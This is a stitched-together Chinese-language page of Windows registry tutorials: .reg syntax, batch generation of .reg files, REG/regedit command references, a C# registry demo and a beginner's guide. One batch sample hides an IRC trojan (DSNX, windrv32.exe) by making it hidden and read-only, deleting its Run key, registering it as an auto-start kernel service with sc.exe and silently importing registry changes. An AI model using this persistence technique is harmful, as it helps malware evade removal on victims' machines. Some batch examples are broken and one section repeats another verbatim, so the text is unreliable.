"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about這三個項目
Invader的類型是"String value"
door的類型是"REG SZ value"
Autodos的類型是"DWORD value"
2.修改
修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
我們再看看刪除一個子項,我們創建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這里,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我們現在在使用一些比較老的木馬時,可能會在注冊表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查
殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為
windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和
只讀,並config為自啟動]
@REM 這樣不是更安全.
怎麼用批處理命令刪注冊表裡的鍵值或用命令的方法刪注冊表值?
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名。
ValueName 所選項下的要刪除的值的名稱。
省略時,該項下的所有子項和值都會被刪除。
/ve 刪除空白值名稱的值(默認)。
/va 刪除該項下的所有值。
/f 不用提示就強行刪除。
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除注冊表項 Timeout 及其所有子項和值
REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU
刪除 ZODIAC 上 MyCo 下的注冊表項 MTU
regedit.exe的參數
filename 導入 .reg 文件進注冊表
/s 導入 .reg 文件進注冊表(安靜模式)
/e 導出注冊表文件
例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM
/L:system 指定 system.dat
/R:user 指定 user.dat
隱藏導入注冊表信息用regedit /s 即可
在DOS提示符下鍵入Regedit命令,將出現一個幫助屏幕。此屏幕給出了其命令行參數及其使用方法。
語法:Regedit[/L:system][/R:user]filename1
Regedit[/L:system][/R:user]/Cfilename2
Regedit[/L:system][/R:user]/Efilename3[regpath]
其中:
/L:system指定system.dat文件的存放位置。
/L:user指定user.dat文件的存放位置。
filename1指定引入注冊表資料庫的文件名。
/Cfilename2指定形成注冊表資料庫的文件名。
/Efilename3指定導出注冊表文件的文件名。
regpath指定導出注冊表文件的開始關鍵字(預設為全部關鍵字)
現舉幾個例子說明regedit.exe在DOS下的使用方法。
【例1】將系統注冊表資料庫registry導出到reg1.reg文件中。
regedit/Ereg1.reg
【例2】reg1.reg形成系統注冊表資料庫registry(全部)中。
regedit/Creg1.reg
【例3】將reg.dat引入系統注冊表資料庫中(部分)。
regeditreg.dat
【例4】將CJH開始的關鍵字導出注冊表資料庫,並命名為cjh.reg。
regedit/Ecjh.regcjh
【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,將reg.dat數據文件形成一個新的注冊表資料庫registry。
regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat
有了以上這些知識,結合在《對注冊表進行編程的「捷徑」》里講過的關於導入或導出的注冊表文件(*.REG),我們就可以在DOS方式下對注冊表進行編程了。
我們還是以更改「*.txt」文件的默認打開方式——「記事本」為「寫字板」為例。首先在MS-DOS提示符下導出「HKEY_CLASSES_ROOT\txtfile」子鍵這一分支,即執行命令:
regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile
然後用DOS下的EDIT編輯器打開txt.reg文件進行編輯:將其中所有的「C:\\WINDOWS\\NOTEPAD.EXE」全部改成「C:\\WINDOWS\\WRITE.EXE」,存檔退出EDIT,再在命令行下執行命令:
regedittxt.reg
XP上新加的注冊表操作命令
ADD
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
遠程機器的機器名 - 忽略默認到當前機器。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下注冊表項的完整名
/v 所選項之下要添加的值名
/ve 為注冊表項添加空白值名<無名稱>
/t RegKey 數據類型
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
如果忽略,則採用 REG_SZ
/s 指定一個在 REG_MULTI_SZ 數據字元串中
用作分隔符的字元
如果忽略,則將 "\0" 用作分隔符
/d 要分配給添加的注冊表 ValueName 的數據
/f 不用提示就強行改寫現有注冊表項
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加遠程機器 ABC 上的一個注冊表項 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0
COMPARE
REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 省略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
如果沒有指定 FullKey2,FullKey2 則跟 FullKey1 相同
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
ValueName 所選注冊表項下的要比較的值的名稱
省略時,該項下的所有值都會得到比較
/ve 比較空白值<no name>名稱的值
/s 比較所有子項和值
Output [/oa | /od | /os | /on]
省略時,只顯示不同的結果
/oa 顯示所有不同和匹配結果
/od 只顯示不同的結果
/os 只顯示匹配結果
/on 不顯示結果
返回代碼:
0 - 成功,比較的結果相同
1 - 失敗
2 - 成功,比較的結果不同
例如:
REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp
將注冊表項 MyApp 下的所有值跟 SaveMyApp 比較
REG COMPARE HKLM\Software\MyCo HKLM
COPY
REG COPY KeyName1 KeyName2 [/s] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
/s 復制所有子項和值
/f 不用提示就強行復制
例如:
REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp /s
將注冊表項 MyApp 下的所有子項和值復制到注冊表項 SaveMyApp
REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM
DELETE
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
ValueName 所選項下的要刪除的值的名稱
省略時,該項下的所有子項和值都會被刪除
/ve 刪除空白值名稱<no name>的值
/va 刪除該項下的所有值
/f 不用提示就強行刪除
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除注冊表項 T
LOAD
REG LOAD KeyName FileName
KeyName ROOTKEY\SubKey (只是本地機器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要將配置單元文件載入進的注冊表項名稱。創建一個新的注冊表項
FileName 要載入的配置單元文件名
您必須使用 REG SAVE 來創建這個文件
QUERY
REG QUERY KeyName [/v ValueName | /ve] [/s]
KeyName [\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey 格式為 ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
/v 查詢特定注冊表項
ValueName 所選項下的要查詢的值的名稱
省略時,該項下的所有值都會得到查詢
/ve 查詢默認值或空白值名稱<no name>
/s 查詢所有子項和值
RESTORE
REG RESTORE KeyName FileName
KeyName ROOTKEY\SubKey (只是本地機器)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 要將配置單元文件還原到的注冊表項全名。
改寫現有項的值和子項
FileName 要還原的配置單元文件名
您必須使用 REG SAVE 來創建這個文件
SAVE
REG SAVE KeyName FileName
KeyName ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
FileName 要保存的磁碟文件名。如果沒有指定路徑,
文件會在調用進程的當前文件夾中得到創建
UNLOAD
REG UNLOAD KeyName
KeyName ROOTKEY\SubKey (只是本地機器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要卸載的配置單元的注冊表項名稱
reg add "項" /v(value的縮寫) 值 /t(type) reg_dword(默認是eg_sz) /d(data的縮寫) "要插入的數據值" /f(forbiden的縮寫,即強制的意思)
例如
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword /d 1 /f
這句命令就是往你的注冊表
HKLM\SYSTEM\CurrentControlSet\Control\Session
這個項下面新建一個 reg_dowrd 類型的值,名字為test,數據為 1
/f 表示在運行如果注冊表裡已經有這個值也不會提示你,直接修改,
如果沒有這個參數的話,它會提示你是不是要修改
⑦ 如何在C#中使用和修改注冊表
由於Visual C#本身沒有類庫,是通過.Net FrameWork SDK(軟體開發包)定義的一些類來實現對注冊表的操作的。這就是名稱空間Microsoft.Win32中封裝的二個類:Registry類和RegistryKey類。在RegistryKey類中定義了二個方法用來創建注冊表中的主鍵、子鍵和鍵值。它們是CreateSubValue ( )方法和SetValue ( )方法。那麼如何用Visual C#來修改注冊信息?在本文中,我們只介紹修改注冊表中的鍵值的方法。而對於主鍵和子鍵,由於.Net FrameWork SDK中還沒有定義這方面的方法,所以還無法完成安全的修改注冊表中的信息。
一.Visual C#創建和修改注冊信息要調用的兩個方法
(1)CreateSubKey ( String key )方法:此方法是創建以後面的字元串為名稱的子鍵。當然這種方法不僅能夠創建子鍵,在下面介紹的程序中,也通過此種方法來創建一個主鍵。
(2)SetValue ( String name , String keyvalue )方法:此方法的作用有二,一是可以用來重命名鍵值的數值,一是可以用來創建新的鍵值。具體情況為:當打開的子鍵中,如果存在此鍵值,就把新值賦給他,實現重命名操作。如果不存在,則創建一個新的鍵值。
二.程序設計和運行環境以及要准備的工作
I>視窗系統2000伺服器版
II>.Net FrameWork SDK Beta 2版
III>由於在程序中,要修改一個已經存在的鍵值,所以就要預先設置好鍵值所在的位置。打開注冊表的編輯器,在"HKEY_LOCAL_MACHINE"主鍵下面的"HARDWARE"子鍵下面創建"aaa"子鍵並在此子鍵下面創建一個名稱為"bbb"的鍵值。具體如下圖所示:
三.程序的主要功能以及設計的重要步驟
在下面介紹的程序中,主要的功能是用Visual C#在注冊表中創建一個主鍵、一個子鍵和修改一個指定的鍵值。其中要創建的子鍵的結構層次是在主鍵"HKEY_LOCAL_MACHIN"下面的"HAREWARE"主鍵下,名稱為"ddd",其中包含一個鍵值,名稱為"www",鍵值的值為"1234"。
其中的要創建的主鍵的結構層次也是在主鍵"HKEY_LOCAL_MACHIN"下面的"HAREWARE"主鍵下,名稱為"main",在此主鍵下麵包含一個名稱為"sub"的子鍵和名稱為"value"鍵值,鍵值的值為"1234"。下面就來著重介紹Visual C#是如何創建和修改這些主鍵、子鍵和鍵值的。
(1)如何創建一個子鍵,在程序中是結合CreateSubKey ( )方法和SetValue ( )方法來實現的,以下是程序中創建子鍵的源程序:
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE" , true ) ;
RegistryKey main1 = software.CreateSubKey ( "main" ) ;
RegistryKey ddd = main1.CreateSubKey ( "sub" ) ;
ddd.SetValue ( "value" , "1234" );
(2)如何創建一個主鍵,創建一個主鍵和創建一個子鍵的過程大致是差不多的。由於主鍵包含若乾子鍵,所以在創建主鍵的時候必須注意他們的層次關系。下面這一段程序,在參考的時候,請注意一下main鍵和sub鍵之間的關系。
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE", true ) ;
RegistryKey main1 = software.CreateSubKey ( "main" ) ;
RegistryKey ddd = main1.CreateSubKey ( "sub" ) ;
ddd.SetValue ( "value" , "1234" ) ;
(3)如何修改注冊信息。由於注冊表中的信息十分重要,所以一般不要對其進行寫的操作。也可能是這個原因,在.Net FrameWork SDK 中並沒有提供修改注冊表鍵的方法。而只是提供了一個危害性相對較小的方法--SetValue ( ),通過這個方法,我們可以來修改鍵值。下面程序代碼是修改一個指定鍵值名稱的鍵值。當然由於SetValue( )方法的特性,如果它檢測到這個鍵值不存在,就會創建一個新的鍵值。
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE", true ) ;
RegistryKey dddw = software.OpenSubKey ( "aaa" , true ) ;
dddw.SetValue ( "bbb" , "abcd" ) ;
四.本文中源程序代碼( reg.cs )以及編譯後的程序運行界面:
以下是程序運行的界面:
reg.cs程序代碼如下:
using System ;
using System.Drawing ;
using System.Collections ;
using System.ComponentModel ;
using System.Windows.Forms ;
using System.Data ;
using Microsoft.Win32 ;
//導入使用到的名稱空間
public class Form1 : Form
{
private System.ComponentModel.Container components ;
private ListBox listBox1 ;
private Button button1 ;
private Button button2 ;
private Button button3 ;
private Button button4 ;
public Form1 ( )
{
InitializeComponent ( ) ;
}
//清除在程序中使用過的資源
public override void Dispose ( )
{
base.Dispose ( ) ;
components.Dispose ( ) ;
}
//初始化程序中使用到的組件
private void InitializeComponent ( )
{
this.components = new System.ComponentModel.Container ( ) ;
this.button1 = new Button ( ) ;
this.listBox1 = new ListBox ( ) ;
button1.Location = new System.Drawing.Point ( 16 , 320 ) ;
button1.Size = new System.Drawing.Size ( 90 , 23 ) ;
button1.TabIndex = 0 ;
button1.Text = "讀取注冊表" ;
button1.Click += new System.EventHandler ( this.button1_Click ) ;
this.button2 = new Button ( ) ;
button2.Location = new System.Drawing.Point ( 116 , 320 ) ;
button2.Size = new System.Drawing.Size ( 90 , 23 ) ;
button2.TabIndex = 1 ;
button2.Text = "創建子鍵" ;
button2.Click += new System.EventHandler ( this.button2_Click ) ;
this.button3 = new Button ( ) ;
button3.Location = new System.Drawing.Point ( 216 , 320 ) ;
button3.Size = new System.Drawing.Size ( 90 , 23 ) ;
button3.TabIndex = 2 ;
button3.Text = "創建主鍵" ;
button3.Click += new System.EventHandler ( this.button3_Click ) ;
this.button4 = new Button ( ) ;
button4.Location = new System.Drawing.Point ( 316 , 320 ) ;
button4.Size = new System.Drawing.Size ( 90 , 23 ) ;
button4.TabIndex = 3 ;
button4.Text = "重命名鍵值" ;
button4.Click += new System.EventHandler ( this.button4_Click ) ;
listBox1.Location = new System.Drawing.Point ( 16 , 32 ) ;
listBox1.Size = new System.Drawing.Size ( 496 , 264 ) ;
listBox1.TabIndex = 4 ;
this.Text = "用Visual C#來創建和修改注冊表中的注冊信息!" ;
this.AutoScaleBaseSize = new System.Drawing.Size ( 5 , 13 ) ;
this.ClientSize = new System.Drawing.Size ( 528 , 357 ) ;
//在窗體中加入組件
this.Controls.Add ( this.listBox1 ) ;
this.Controls.Add ( this.button1 ) ;
this.Controls.Add ( this.button2 ) ;
this.Controls.Add ( this.button3 ) ;
this.Controls.Add ( this.button4 ) ;
}
//以列表形式顯示"HARDWARE"下面一層的子鍵和鍵值
protected void button1_Click ( object sender , System.EventArgs e )
{
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE" ) ;
//打開"SYSTEM"子鍵
foreach ( string site in software.GetSubKeyNames ( ) )
//開始遍歷由子鍵名稱組成的字元串數組
{
listBox1.Items.Add ( site ) ;
//在列表中加入子鍵名稱
RegistryKey sitekey = software.OpenSubKey ( site ) ;
//打開此子鍵
foreach ( string sValName in sitekey.GetValueNames ( ) )
//開始遍歷由指定子鍵擁有的鍵值名稱組成的字元串數組
{
listBox1.Items.Add ( " " + sValName + ": " + sitekey.GetValue ( sValName ) ) ;
//在列表中加入鍵名稱和對應的鍵值
}
}
}
//創建子鍵和鍵值
protected void button2_Click ( object sender , System.EventArgs e )
{
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE", true ) ;
RegistryKey ddd = software.CreateSubKey ( "ddd" ) ;
ddd.SetValue ( "www" , "1234" );
}
//創建一個主鍵並創建一個鍵值
protected void button3_Click ( object sender , System.EventArgs e )
{
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE", true ) ;
RegistryKey main1 = software.CreateSubKey ( "main" ) ;
RegistryKey ddd = main1.CreateSubKey ( "sub" ) ;
ddd.SetValue ( "value" , "1234" ) ;
}
//重命名一個存在的鍵值
protected void button4_Click ( object sender , System.EventArgs e )
{
listBox1.Items.Clear ( ) ;
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software = hklm.OpenSubKey ( "HARDWARE", true ) ;
RegistryKey dddw = software.OpenSubKey ( "aaa" , true ) ;
dddw.SetValue ( "bbb" , "abcd" ) ;
}
public static void Main ( )
{
Application.Run ( new Form1 ( ) ) ;
}
}
⑧ 請高手講解一下注冊編輯表的基本知識。
對我們大多數人而言,注冊表就像我們汽車上的密封墊片:我們知道它在那裡,它至關重要而且我們感覺不到它的存在。就像一輛車的密封墊片如果不合適,那它就不能跑很遠,錯誤的注冊表可以終止Windows,甚至讓它無法啟動。但如果你知道你正在做什麼,注冊表會在高效處理方面成為你的重要的幫手。
該指南將告訴你該如何安全地編輯注冊表以個性化你的計算機。也就是說,要明白注冊表並不是Windows中可有可無的元素。一個錯誤的修改可以導致PC的崩潰,所以在你完整地讀完這篇指南之前請不要嘗試做任何修改。
即使目前你還缺乏做任何修改的自信,我們建議你往下讀,在理解了注冊表如何控制你的PC之後,將會擴展你各方面的計算機知識並且在以後可以幫助你修復各種問題。
並非所有修改都是好的
在我們開始之前,請允許我詳細敘述我們對注冊表進行修改的警告。注冊表中包含的大多數信息對平穩運行Windows至關重要,修改或刪除這些值會完全終止你的計算機。
另一項需要記住的重要事情是對注冊表的任何修改輸入之後,它們就開始發生作用。注冊表和Word文檔不一樣,Word是你必須選擇保存,而且也沒有撤銷功能。這里不是可以胡亂進行修補的地方,但是有一個很容易就實施的保險策略。和其他類型的數據一樣,注冊表信息可以被備份,創建一個拷貝從而如果出現問題就可以進行恢復。
實際上,注冊表非常重要,以至於Windows在每次開始的時候都會自動對它進行備份。Windows可以利用該備份自動修復某些問題,但你所做的多數修改都需要你自己來修復。
在進行修改之前,最簡單的保護自己的方法是創建一個系統恢復點,這讓注冊表在某個點建立單獨的、不可修改的記錄,如果需要你可以返回到這個點。
你或許還希望用筆和紙記下你對注冊表所作的所有修改。雖然計算機沒有完全停止工作,你可能想撤銷某些修改,而且很容易就可以實現這一點,只需通過快速查閱記錄,而不必恢復整個注冊表。
注冊表的任務是什麼?
考慮到這些警告,你可能奇怪注冊表真正做了什麼,以及為什麼所有人都想胡亂地修補它。它是所有和Windows以及你在計算機上安裝的軟體、硬體相關的設置和信息的一個中央記錄。在Windows 95之前,這些信息被保存在大量不同的文本文件當中。它們很容易被編輯,而你首先必須要找到它們,而且在你編程試圖和它們進行交互的時候經常會發生問題。
注冊表的一個好處是添加或刪除程序功能,這是開始菜單中控制面板功能的一部分。你安裝軟體的時候,在注冊表中做了一個記錄,所以在添加或刪除程序中作為一個專門列表的一部分出現。
注冊表的功能是什麼?
注冊表保存在你的硬碟的幾個文件當中,但訪問和修改它們的唯一途徑是使用注冊表編輯器程序。要訪問它,點擊開始按鈕,然後點擊運行。在出現的對話框中輸入regedit並按Enter鍵。這會進入注冊表編輯器,你現在就看到了注冊表。
注冊表組織得更像磁碟上的文件,如果你曾經在Windows瀏覽器中使用過文件夾視圖的話,你會根據很熟悉。然而在注冊表中,這些文件夾被稱為鍵。要打開某個鍵,只需點擊它旁邊的小加號(+)。然後你會看到每個鍵下包含更多的鍵,稱為子鍵或值。
這些數以千計的鍵根據邏輯進行排列,在你第一次看到注冊表的時候可能會使你感覺無從下手。要把頭緒理清楚,首先要知道有五個根鍵以及注冊表的基本組成結構。
值是指各種不同鍵的單獨設置,因此是可自定義的。它們在注冊表窗口左側以名稱排列,它們還說明了包含數據的類型以及數據本身。不用擔心使用的是哪種數據類型,因為這對數據本身是明顯的,或者在編輯過程中會作出解釋。
修改注冊表
你肯定已經對注冊表作過修改,但只是通過控制面板或安裝其它軟體這樣的間接途徑。第三方軟體也可以實現這一點,但你應該只使用那些值得信任的軟體。讓某個不知名的應用程序編輯注冊表可能會給間諜軟體留下後門。
一些可用的軟體提供了你在別的地方看不到的設置。Registry Mechanic就是這樣一個程序。其他諸如Norton SystemWorks這樣的工具可以掃描注冊表中不再需要並且可以刪除的鍵值。注冊表越龐大,你的計算機的運行就會變得越慢,所以SystemWorks非常有用。
間諜軟體通常在注冊表中建立鍵值以確保自己已經啟動以便在Windows開始的時候監視你的計算機。在尋找有關如何刪除這些程序的建議的時候,你可能會被告知需要編輯注冊表。請先確定該建議是來自某個可信賴的來源,例如Windows的注冊表指南或Systweak.com。
在有些時候,間諜軟體也安裝一個小程序以監視注冊表並且重新寫入你刪除的鍵值,所以你應該使用諸如Spybot Search and Destroy這樣的軟體完全地清理你的計算機。
你可以通過注冊表做些什麼
如果你了解了注冊表的基本工作原理,你可以很快地調整計算機的行為以適應你的個人需求。你還可以像在Internet Explorer中那樣在注冊表中設置收藏夾。如果你正在修改一個需要進行調整的設置,例如在下面例子中,你可以利用這個特性快速返回到你修改的值。
要設置收藏夾,點擊鍵,然後是收藏夾菜單並選擇添加收藏夾。給定一個名稱並點擊OK。回到這個鍵,你現在可以很容易地從收藏夾菜單中選擇收藏。
需要注意的是十進制和十六進制數之間的區別,同樣一個數字在這兩者中將產生不同的結果。這里的所有例子都使用十進制數。
掌握縮略圖
Windows可以在資源管理器的窗口中顯示圖像為縮略圖。如果你感覺這些縮略圖的大小或質量不是你喜歡的,你可以利用注冊表修改它們。首先,通過創建一個系統恢復點做一個文件備份。現在使用前面介紹的過程打開注冊表並且通過點擊「+」尋找到下面的鍵。
現在右擊資源管理器圖標,選擇New並點擊DWORD值。在看到NewValue1之後輸入文本ThumbnailQuality。你應該只能輸入源名稱;如果不是,點擊新鍵並按F2以編輯該名稱。右擊ThumbnailQuality並選擇修改。在出現的窗口中,輸入一個介於50到100的數字以指定縮略圖的質量。默認值是90。該數字越小,圖片顯示的速度會越快,但是圖片顯示的質量會越低。點擊十進制選項,然後點擊OK。
要改變縮略圖的大小,右擊資源管理器的圖標,選擇New並點擊DWORD值。命名新的值ThumbnailSize,右擊它並選擇修改。輸入一個數字以設置你希望每個縮略圖使用的象素數量。默認值是96。點擊十進制選項,然後點擊OK。在這些修改生效前,你可能需要重新啟動計算機。
清除IE歷史web站點
盡管我們可以在Internet Explorer中刪除你曾經訪問過的web站點的歷史列表,但系統仍然保存著它們並且當你在地址欄中輸入相同的名稱時自動顯示它們。這個列表被保存在注冊表中,如果你願意你可以刪除它。
點擊開始按鈕,然後點擊運行,在窗口中輸入regedit並按enter鍵。接著查找鍵「HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs」。在右邊的窗格中,你將看到曾經訪問的所有web站點的列表。要刪除該列表中的web站點,點擊每一行並按Del鍵。點擊Yes,該記錄將被刪除。
禁用任務管理器
在處理沒有響應的程序時,任務管理器非常有用,但是有時候你可能希望防止其他人使用它,以避免他們停止某個關鍵的程序,例如你正在運行的病毒掃描器。但是需要了解的是,因為你可以停止任何正在運行的程序,所以稍不注意就很容易導致Windows崩潰。你可以通過下面的方法修改注冊表,禁止其他人訪問任務管理器:
點擊開始按鈕,然後是運行。在接下來的窗口中輸入regedit並按Enter鍵。找到下面的鍵:『HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\System』。你需要創建一個System鍵。右擊Policies,選擇New,然後點擊Key。輸入鍵的名字System。
右擊System鍵,選擇New,然後點擊DWORD值。輸入值的名稱為DisableTaskMgr。如果你無法輸入名稱,左擊新的值並在輸入新的名稱之前按F2鍵。右擊它並選擇修改。在值的數據對話框中輸入1,選擇十進制選項並點擊OK。
現在,如果某人通過按下Ctrl+Alt+Del試圖打開任務管理器,他們將收到一條消息,告訴他們這已經被禁止了。如果你的計算機上的用戶不止一個,你就必須以每個帳戶登錄,然後重復這個過程。
小心對待它
我們已經用一些例子說明了你可以利用注冊表做些什麼。隨著你更多地學習,你會發現了解你的計算機是如何與注冊表相結合是一個很有用的工具,從長遠的觀點來看會增強你的自信。
通過下面的指導,我希望你能夠獲得對你的計算機的進一步的理解。需要記住的是,一定要盡可能心懷敬意地對待注冊表並且在做修改的時候小心謹慎。一定要先做一個備份並且只在你確切地知道它們是什麼以及它們是做什麼的時候才修改或添加值。
去了解更多
有大量的web站點介紹如何編輯注冊表以及注冊表能做些什麼。如果你不確定某個特定的修改,你可以到互聯網的論壇上和其他用戶進行討論,例如Computeractive論壇。
要想獲得更多對注冊表進行修改的例子,請查看WinGuides Network for Windows。每項技巧都有你需要修改的鍵和值的截屏以及它們的外部特徵。你也可以下載WinGuides Tweak Manager,它無需使用注冊表就可以應用這些修改。
如果你覺得有足夠的把握,請查看Windows XP的The Elder Geek。該站點有大量的建議,並且即使你不是在尋找特定的注冊表編輯,你或許會發現你希望進行的修改,而你一直不知道該如何實現。
⑨ 注冊表詳細使用說明
對我們大多數人而言,注冊表就像我們汽車上的密封墊片:我們知道它在那裡,它至關重要而且我們感覺不到它的存在。就像一輛車的密封墊片如果不合適,那它就不能跑很遠,錯誤的注冊表可以終止Windows,甚至讓它無法啟動。但如果你知道你正在做什麼,注冊表會在高效處理方面成為你的重要的幫手。
該指南將告訴你該如何安全地編輯注冊表以個性化你的計算機。也就是說,要明白注冊表並不是Windows中可有可無的元素。一個錯誤的修改可以導致PC的崩潰,所以在你完整地讀完這篇指南之前請不要嘗試做任何修改。
即使目前你還缺乏做任何修改的自信,我們建議你往下讀,在理解了注冊表如何控制你的PC之後,將會擴展你各方面的計算機知識並且在以後可以幫助你修復各種問題。
並非所有修改都是好的
在我們開始之前,請允許我詳細敘述我們對注冊表進行修改的警告。注冊表中包含的大多數信息對平穩運行Windows至關重要,修改或刪除這些值會完全終止你的計算機。
另一項需要記住的重要事情是對注冊表的任何修改輸入之後,它們就開始發生作用。注冊表和Word文檔不一樣,Word是你必須選擇保存,而且也沒有撤銷功能。這里不是可以胡亂進行修補的地方,但是有一個很容易就實施的保險策略。和其他類型的數據一樣,注冊表信息可以被備份,創建一個拷貝從而如果出現問題就可以進行恢復。
實際上,注冊表非常重要,以至於Windows在每次開始的時候都會自動對它進行備份。Windows可以利用該備份自動修復某些問題,但你所做的多數修改都需要你自己來修復。
在進行修改之前,最簡單的保護自己的方法是創建一個系統恢復點,這讓注冊表在某個點建立單獨的、不可修改的記錄,如果需要你可以返回到這個點。
你或許還希望用筆和紙記下你對注冊表所作的所有修改。雖然計算機沒有完全停止工作,你可能想撤銷某些修改,而且很容易就可以實現這一點,只需通過快速查閱記錄,而不必恢復整個注冊表。
注冊表的任務是什麼?
